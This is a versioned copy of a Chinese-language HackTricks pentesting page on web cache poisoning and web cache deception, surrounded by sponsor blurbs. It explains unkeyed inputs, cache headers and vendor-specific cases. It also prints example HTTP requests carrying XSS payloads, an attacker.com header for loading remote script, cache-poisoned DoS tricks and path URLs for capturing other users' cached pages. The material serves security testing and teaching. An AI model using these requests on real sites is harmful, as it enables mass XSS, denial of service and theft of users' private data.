hacktricks/pentesting-web/cache-deception.md

243 lines
16 KiB
Markdown
Raw Normal View History

2023-08-03 19:12:22 +00:00
# 缓存投毒和缓存欺骗
2022-04-28 16:01:33 +00:00
<details>
2023-08-03 19:12:22 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
</details>
2023-01-01 16:19:07 +00:00
![](<../.gitbook/assets/image (9) (1) (2).png>)
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2023-08-03 19:12:22 +00:00
使用[**Trickest**](https://trickest.io/)可以轻松构建和**自动化工作流程**,使用全球**最先进的**社区工具。\
立即获取访问权限:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
## 区别
2023-08-03 19:12:22 +00:00
> **Web缓存投毒和Web缓存欺骗有什么区别**
>
2023-08-03 19:12:22 +00:00
> * 在**Web缓存投毒**中,攻击者会导致应用程序将一些恶意内容存储在缓存中,并从缓存中向其他应用程序用户提供此内容。
> * 在**Web缓存欺骗**中,攻击者会导致应用程序将属于另一个用户的某些敏感内容存储在缓存中,然后攻击者从缓存中检索此内容。
2023-08-03 19:12:22 +00:00
## 缓存投毒
2023-08-03 19:12:22 +00:00
投毒缓存的目标是使**客户端部分加载意外资源或受攻击者控制的资源**。\
投毒的响应仅会提供给在缓存被投毒时访问受影响页面的用户。因此,影响的程度可能因页面是否受欢迎而从不存在到巨大不等。
2023-08-03 19:12:22 +00:00
要执行缓存投毒攻击,首先需要**识别无键输入**(不需要出现在缓存请求中但会改变返回页面的参数),查看如何滥用此参数并**获取响应缓存**。
2023-08-03 19:12:22 +00:00
### 发现检查HTTP头
2022-08-12 16:57:56 +00:00
2023-08-03 19:12:22 +00:00
通常,当响应被**存储在缓存中**时,会有一个**指示的头部**,你可以在这篇文章中查看应该注意的头部:[**HTTP缓存头部**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
2022-08-12 16:57:56 +00:00
2023-08-03 19:12:22 +00:00
### 发现缓存400状态码
2022-08-12 16:57:56 +00:00
2023-08-03 19:12:22 +00:00
如果你认为响应被存储在缓存中,你可以尝试**发送带有错误头部的请求**,应该会以**状态码400**作为响应。然后尝试正常访问请求,如果**响应是400状态码**则说明存在漏洞甚至可以执行DoS攻击。\
一个配置错误的头部可能只是`\:`作为头部。\
请注意,有时这些类型的状态码不会被缓存,因此此测试将无效。
2022-08-12 16:57:56 +00:00
2023-08-03 19:12:22 +00:00
### 发现:识别和评估无键输入
2023-08-03 19:12:22 +00:00
你可以使用[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)来**暴力破解可能会改变页面响应的参数和头部**。例如,页面可能使用头部`X-Forwarded-For`来指示客户端从那里加载脚本:
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
2023-08-03 19:12:22 +00:00
### 引发后端服务器的有害响应
2023-08-03 19:12:22 +00:00
通过识别参数/标头,检查它是如何被**清理**的以及它在响应标头中的**反射位置**或影响。你能以任何方式滥用它吗执行XSS或加载由你控制的JS代码执行DoS攻击...
2023-08-03 19:12:22 +00:00
### 获取响应缓存
2023-08-03 19:12:22 +00:00
一旦你**确定**了可以滥用的**页面**,要使用的**参数/标头**以及如何**滥用**它,你需要获取页面的缓存。根据你尝试缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。\
响应中的**`X-Cache`**标头可能非常有用,因为当请求未被缓存时,它可能具有值**`miss`**,而当它被缓存时,它可能具有值**`hit`**。\
**`Cache-Control`**标头也很有趣,它可以告诉你资源是否被缓存以及下一次资源将被再次缓存的时间:`Cache-Control: public, max-age=1800`\
另一个有趣的标头是**`Vary`**。该标头通常用于**指示其他标头**,即使它们通常不是关键的,也被视为**缓存键的一部分**。因此,如果用户知道受害者的`User-Agent`,他可以为使用特定`User-Agent`的用户污染缓存。\
与缓存相关的另一个标头是**`Age`**。它定义了对象在代理缓存中存在的时间(以秒为单位)。
2023-08-03 19:12:22 +00:00
在缓存请求时,要**小心使用标头**,因为其中一些标头可能会被意外地用作**关键标头**,受害者需要使用相同的标头。始终使用**不同的浏览器**测试缓存投毒是否有效。
2023-08-03 19:12:22 +00:00
## 漏洞利用示例
2023-08-03 19:12:22 +00:00
### 最简单的示例
2023-08-03 19:12:22 +00:00
响应中未经清理地反射了类似`X-Forwarded-For`的标头\
你可以发送一个基本的XSS有效负载并污染缓存这样访问该页面的每个人都将受到XSS攻击
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
2023-08-03 19:12:22 +00:00
_注意这将会对`/en?region=uk`的请求进行污染,而不是`/en`_
2023-08-03 19:12:22 +00:00
### 使用Web缓存污染来利用Cookie处理漏洞
2023-08-03 19:12:22 +00:00
Cookie也可以在页面的响应中反射。如果你能够滥用它来引发XSS攻击那么你就可以利用恶意缓存响应中的XSS攻击来攻击多个客户端。
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
2023-08-03 19:12:22 +00:00
请注意如果易受攻击的cookie被用户广泛使用常规请求将清除缓存。
2023-08-03 19:12:22 +00:00
### 使用多个标头来利用Web缓存污染漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
2023-08-03 19:12:22 +00:00
有时,您需要利用多个无键输入来滥用缓存。例如,如果您将`X-Forwarded-Host`设置为您控制的域,并将`X-Forwarded-Scheme`设置为`http`,则可能会发现一个**开放重定向**。**如果**服务器将所有**HTTP**请求**转发到HTTPS**并使用标头`X-Forwarded-Scheme`作为重定向的域名,您可以通过重定向控制页面指向的位置。
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
2023-08-03 19:12:22 +00:00
### 利用有限的`Vary`头进行攻击
2023-08-03 19:12:22 +00:00
如果你发现**`X-Host`**头被用作**加载JS资源的域名**,但响应中的**`Vary`**头指示**`User-Agent`**。那么你需要找到一种方法来窃取受害者的User-Agent并使用该User-Agent来污染缓存
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
2023-08-03 19:12:22 +00:00
### 通过滥用HTTP请求伪造来利用HTTP缓存欺骗
2023-08-03 19:12:22 +00:00
在这里了解如何通过滥用HTTP请求伪造来执行[缓存欺骗攻击](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)。
2023-08-03 19:12:22 +00:00
### 自动化测试Web缓存欺骗
2022-06-06 22:28:05 +00:00
2023-08-03 19:12:22 +00:00
可以使用[Web缓存漏洞扫描器](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)来自动测试Web缓存欺骗。它支持许多不同的技术并且高度可定制。
2022-05-06 10:58:15 +00:00
2023-08-03 19:12:22 +00:00
示例用法:`wcvs -u example.com`
2022-05-06 10:58:15 +00:00
2023-01-01 16:19:07 +00:00
![](<../.gitbook/assets/image (9) (1) (2).png>)
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2023-08-03 19:12:22 +00:00
使用[**Trickest**](https://trickest.io/)轻松构建和**自动化工作流程**,由全球**最先进的**社区工具提供支持。\
立即获取访问权限:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2023-08-03 19:12:22 +00:00
## 可漏洞示例
2022-07-28 09:46:19 +00:00
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
2023-08-03 19:12:22 +00:00
ATS将URL中的片段转发而不剥离它并且仅使用主机、路径和查询生成缓存键忽略片段。因此请求`/#/../?r=javascript:alert(1)`被发送到后端作为`/#/../?r=javascript:alert(1)`,缓存键中没有有效载荷,只有主机、路径和查询。
2022-07-28 09:46:19 +00:00
### GitHub CP-DoS
2023-08-03 19:12:22 +00:00
在内容类型标头中发送错误的值会触发405缓存响应。缓存键包含cookie因此只能攻击未经授权的用户。
2022-07-28 09:46:19 +00:00
### GitLab + GCP CP-DoS
2023-08-03 19:12:22 +00:00
GitLab使用GCP存储静态内容。**GCP存储桶**支持**头部`x-http-method-override`**。因此,可以发送头部`x-http-method-override: HEAD`并欺骗缓存返回空响应正文。它还可以支持方法`PURGE`。
2022-07-28 09:46:19 +00:00
2023-08-03 19:12:22 +00:00
### Rack中间件Ruby on Rails
2022-07-28 09:46:19 +00:00
2023-08-03 19:12:22 +00:00
Ruby on Rails应用程序通常与Rack中间件一起部署。下面的Rack代码获取**`x-forwarded-scheme`的值并将其用作请求的方案**。
2022-07-28 09:46:19 +00:00
2022-08-04 10:55:21 +00:00
![](<../.gitbook/assets/image (159) (2).png>)
2022-07-28 09:46:19 +00:00
2023-08-03 19:12:22 +00:00
发送`x-forwarded-scheme: http`头部将导致301重定向到相同的位置从而导致该资源的DoS如此示例中所示
2022-07-28 09:46:19 +00:00
![](<../.gitbook/assets/image (166).png>)
2023-08-03 19:12:22 +00:00
应用程序还可以支持头部`X-forwarded-host`并将用户重定向到该主机从而可以从攻击者服务器加载JavaScript文件
2022-07-28 09:46:19 +00:00
2022-08-04 10:55:21 +00:00
![](<../.gitbook/assets/image (157) (2).png>)
2022-07-28 09:46:19 +00:00
2023-08-03 19:12:22 +00:00
### 403和存储桶
2022-07-28 09:46:19 +00:00
2023-08-03 19:12:22 +00:00
以前,**Cloudflare**会**缓存403响应**,因此发送**错误的授权**标头尝试访问**S3**或**Azure存储Blob**将返回一个被缓存的403。Cloudflare不再缓存403响应但这可能适用于其他代理。
2022-07-28 09:46:19 +00:00
![](<../.gitbook/assets/image (171).png>)
2023-08-03 19:12:22 +00:00
### 注入键参数
2022-07-28 09:46:19 +00:00
2023-08-03 19:12:22 +00:00
很多时候,缓存被配置为**仅在缓存键中包含特定的GET参数**。
2022-07-28 09:46:19 +00:00
2023-08-03 19:12:22 +00:00
例如Fastly使用Varnish在请求中**缓存`size`参数**,但如果您同时发送**`siz%65`**参数并附带错误的值,**缓存键**将使用**正确编写的size参数**构建,但**后端**将使用**URL编码参数中的值**。
2022-07-28 09:46:19 +00:00
![](<../.gitbook/assets/image (180).png>)
2023-08-03 19:12:22 +00:00
对第二个`size`参数进行URL编码会导致缓存忽略它但后端会使用它。将该参数的值设置为0将导致可缓存的400 Bad Request。
2022-07-28 09:46:19 +00:00
2023-08-03 19:12:22 +00:00
### 用户代理规则
2022-07-28 09:46:19 +00:00
2023-08-03 19:12:22 +00:00
由于像FFUF或Nuclei这样的工具产生的流量很大一些开发人员决定阻止与其用户代理匹配的请求。具有讽刺意味的是这些调整可能会引入意外的缓存欺骗和DoS机会。
2022-07-28 09:46:19 +00:00
2022-08-13 23:06:40 +00:00
![](<../.gitbook/assets/image (167) (2).png>)
2022-07-28 09:46:19 +00:00
2023-08-03 19:12:22 +00:00
我发现这在多个目标上都有效,使用了来自不同工具或扫描器的用户代理。
2022-07-28 09:46:19 +00:00
2023-08-03 19:12:22 +00:00
### 非法的标头字段
2022-07-28 09:46:19 +00:00
2023-08-03 19:12:22 +00:00
标头名称格式在[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)中定义如下:
2022-07-28 09:46:19 +00:00
2022-10-22 15:26:54 +00:00
![](<../.gitbook/assets/image (175) (2).png>)
2022-07-28 09:46:19 +00:00
2023-08-03 19:12:22 +00:00
理论上,如果标头名称包含除**tchar**中列出的字符以外的字符它应该被拒绝并返回400 Bad Request。然而在实践中服务器并不总是遵守RFC。利用这个细微差别的最简单方法是针对不拒绝无效标头的Akamai进行攻击而是将其转发并缓存任何400错误只要缓存控制标头不存在。
2022-07-28 09:46:19 +00:00
![](<../.gitbook/assets/image (163).png>)
2023-08-03 19:12:22 +00:00
发送包含非法字符`\`的标头将导致可缓存的400 Bad Request错误。这是我在测试中最常发现的模式之一。
2022-07-28 09:46:19 +00:00
2023-08-03 19:12:22 +00:00
### 查找新的标头
2022-07-28 09:46:19 +00:00
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
2023-08-03 19:12:22 +00:00
## 缓存欺骗
2023-08-03 19:12:22 +00:00
缓存欺骗的目标是使客户端**加载将由缓存保存的资源及其敏感信息**。
2023-08-03 19:12:22 +00:00
首先请注意,通常会将`.css`、`.js`、`.png`等**扩展名**配置为**保存在缓存中**。因此,如果访问`www.example.com/profile.php/nonexistent.js`,缓存可能会存储响应,因为它看到了`.js`**扩展名**。但是,如果**应用程序**正在**回放**存储在_www.example.com/profile.php_中的**敏感**用户内容,您可以从其他用户那里**窃取**这些内容。
2023-08-03 19:12:22 +00:00
其他要测试的内容:
2022-08-12 16:57:56 +00:00
* _www.example.com/profile.php/.js_
* _www.example.com/profile.php/.css_
* _www.example.com/profile.php/test.js_
* _www.example.com/profile.php/../test.js_
* _www.example.com/profile.php/%2e%2e/test.js_
2023-08-03 19:12:22 +00:00
* _使用较少知名的扩展名如_ `.avif`
2023-08-03 19:12:22 +00:00
在这篇文章中可以找到另一个非常明显的例子:[https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
在这个例子中解释了如果加载一个不存在的页面比如_http://www.example.com/home.php/non-existent.css_将返回_http://www.example.com/home.php_的内容**包含用户的敏感信息**),并且缓存服务器将保存结果。\
然后,**攻击者**可以在自己的浏览器中访问_http://www.example.com/home.php/non-existent.css_并观察之前访问过的用户的**机密信息**。
2023-08-03 19:12:22 +00:00
请注意,**缓存代理**应该根据文件的**扩展名**_.css_而不是根据内容类型进行**配置**以**缓存**文件。在示例中_http://www.example.com/home.php/non-existent.css_将具有`text/html`的内容类型而不是_.css_文件的预期`text/css` MIME类型。
2023-08-03 19:12:22 +00:00
在这里了解如何通过滥用HTTP请求伪造来执行[滥用HTTP请求伪造进行缓存欺骗攻击](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)。
## 参考资料
* [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
* [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
* [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
2022-07-28 09:46:19 +00:00
* [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
2022-08-12 17:01:26 +00:00
* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
2022-04-28 16:01:33 +00:00
2023-01-01 16:19:07 +00:00
![](<../.gitbook/assets/image (9) (1) (2).png>)
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2023-08-03 19:12:22 +00:00
使用[**Trickest**](https://trickest.io/)可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。\
立即获取访问权限:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
</details>